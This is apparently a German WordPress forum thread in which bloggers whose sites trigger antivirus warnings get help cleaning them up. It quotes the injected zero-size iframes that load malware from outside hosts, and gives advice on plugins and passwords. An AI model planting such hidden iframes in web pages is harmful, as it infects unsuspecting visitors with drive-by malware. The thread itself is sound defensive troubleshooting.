Virus-Schleuder im Blog

Wu_kung

Seite heute steht bei allen Googleeinträgen unserer Seite (Weblog und Online-Magazin der Christophorusschule Oberurff, CJD-Schule, Realschule, Gymnasium, Internat, Legastheniezentrum » CJD-Update, Weblog und Online-Magazin der Jugenddorf Christophorusschule Oberurff) "kann ihren Computer schädigen". Ein Kollege hat dann festgestellt, dass von meiner Seite diverse Aufforderungen bei ihm ausgelöst werden:

Zitat

Ich hab mal Ihre Website mit Internet Explorer 7 unter Vista mit
installierten Spy/Antivir Scanner angeschaut und bekomme eine Warnung. Sie
scheinen da en echtes Problem zu haben.
Ich bekomme die Info
Enthält die Signatur des Javascript-Virus
JS/Dldr.Agent.ab.12
IHr Webserver versucht über meinen Browser einen Virus zu implementieren,
sobald ich die Seite aufrufe. Der Virus will Zugriff auf Dateien auf meinem
Rechner. Nach dem verweigern wird ein weiterer Zugriffsversuch angezeit
JS/Dldr.Psyme.du
Danach gibt es noch ahufenweise weitere Meldungen. Der server will zudem in
meiem Browser Java aktivieren, was ich ihm auch verboten habe....
Zudem versucht der Server das Add-on "Remote Data Services data Contorl" zu
installieren, das hab ich natürlich auch unterbunden

Alles anzeigen

Ich vermute, es liegt an einem Plugin. Wär nett, wenn jemand eine Idee hat, den Fall zu bereinigen. WENN es ein Plugin ist, dürfte es auch andere bald treffen.

DANKE.

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

Lim_Dul

Schau dir alle Plugins an, die du installiert hast und ob es von denen neue Versionen gibt.

So von aussen ist es schwer das auf die schnelle rauszufinden, dafür müsstest du schon eine Liste der Plugins & Versionen hier bereitstellen.

Wu_kung

Danke! Ich habe ettliche. Werde mal eine Liste hier einstellen. Gruß.

P.S. Ich habe allerdings gut 30 Plugins laufen. Wie kann man anhand der Liste und der Version erkennen, ob sie clean sind???

Olafb

Du bist gehackt worden, schau hier das steht am Ende auf jeder Seite:

PHP

</div>
	<!-- Share This END -->
	<iframe src="http://www.nanoy.org/se.php?id=191" width=1 height=1></iframe>
        <iframe src="http://whccxpufub.hk/dl/adv753.php" width=1 height=1></iframe>


</body>


</html>

Wu_kung

DANKE! Hast Du auch eine Idee, in welchem File der Code stecken könnte oder wie ich das rausfinden kann? DANKE für die Mühe

Lim_Dul

Die Plugins, die mir jetzt einfallen und die eine Sicherheitslücke hatten sind:

a) MyGallery
b) Feedstats
c) wptube meines Wissens.

Generell sollte man seine Plugins immer auf dem aktuellsten Stand halten, da auch dort Sicherheitslücken auftreten können.

Wu_kung

DANKE auch für den Hinweis. Aber meine Plugins sind ALLE auf dem neuestesn Stand. Allerdings werden einige nicht mehr gepflegt, der aktuelle Stand ist also eher nicht aktuelle. Bsp. Coutdown von Owen Winkler. Die genannten Plugins habe ich nicht. Gruß.

Wu_kung

Ich glaube ich habe es: Der faule Code kommt von dem Plugin SHARE THIS. Ob noch mehr faule Eier in meinem Blog sind wird jetzt geprüft. Von dem Plugin aber schon mal Finger weg. GRUSS

Olafb

Der Hacker wird es ins Plugin geschrieben haben, es muss nicht vom Plug selber kommen!

Ferdinand

Einige Arbeit veraltete Plugins zu finden kann Dir folgendes Plugin abnehmen:
Wordpress Plugin Tracker

Mir hat es ziemlich geholfen. Obwohl ich meine Plugins erst vor kurzem überprüft hatte, gab es schon wieder etliche neuen Versionen, die das Plugin angzeigt hat.

Wu_kung

Ja, es ist möglich, dass der Hacker es später ins Plugin geschrieben hat. Es zeigt sich aber, dass der Code auch vorhin noch da war, wenn man das Plugin von der Downloadpage geholt hat. Aber der Tipp mit dem Plugin Tacker ist super. DANKE. Auch für alle anderen Hinweise.

Olafb

Oh, dann passiert das ganze beim Plugin-Autor!!! Informier den mal bitte!!!

alex.rabe

Also ich denke nicht das Share This von Alex King (sofern es um dieses Plugin geht) so etwas enthält.

Ich sehe auf der Webseite allerdings das mein Plugin wp-table benutzt wird und wenn das Plugin nicht auf den aktuellen Stand gepatch ist dann kommen die über die Datei wptable-button.php rein und modifizieren andere Plugins.

Wu_kung

Danke für den TRACKER-Hinweis. Arbeitet ganz gut. Bleiben nur wenige Plugins über, die man aber leicht individuell checken kann. Werde den Plugin-Autor über das Problem informieren.

Yel Nats

kann mal bitte von Euch Profis bei mir gucken? Ab und zu melden User bei mir einen Virus. Ich selber erhalten die Meldung aber nicht.

Meine URL: Informationen und Wissenswertes über Zebrafinken - Zebrafink.info

Danke!

Ferdinand

Dein Blog ist gehackt worden.
Siehe folgenden Code in Deinem Template:

Code

<iframe src='http://81.95.149.XX/go.php?sid=1' .............</iframe>

Suche nach den <iframe> Tags in Deinem Template.
Auch würde ich sofort alle Plugins aktualsieren. Einige Arbeit veraltete Plugins zu finden kann Dir folgendes Plugin abnehmen:
Wordpress Plugin Tracker

Auch würde ich sofort das Passwort für WP ändern (und ein möglichst "starkes" PW einsetzen).

Auch *könnte* Dein Template eine Cross-Site-Scripting Lücke haben.

marX

Jupp, Virenmeldung auch hier (Opera 9.21 + AntiVir)

Ganz am Ende deines Quellcodes steht:

HTML

<iframe src='http://81.95.149.xxx/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

Yel Nats

>Suche nach den <iframe> Tags in Deinem Template.

erledigt!

>Auch würde ich sofort alle Plugins aktualsieren.erledigt!

>Auch würde ich sofort das Passwort für WP ändern (und ein möglichst
> "starkes" PW einsetzen).

erledigt!

Kann mir jemand bestätigen das der "Virus" weg ist?

Danke!
Yel Nats

marX

Ist weg. Beobachte das aber mal weiter. Wenn die Lücke noch offen ist kann der Cracker bald wieder seinen Code bei dir einschleusen.

Yel Nats

Mhh, wie kann ich die Lücke aufstöbern udn dann schließen?

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Virus-Schleuder im Blog

Jetzt mitmachen!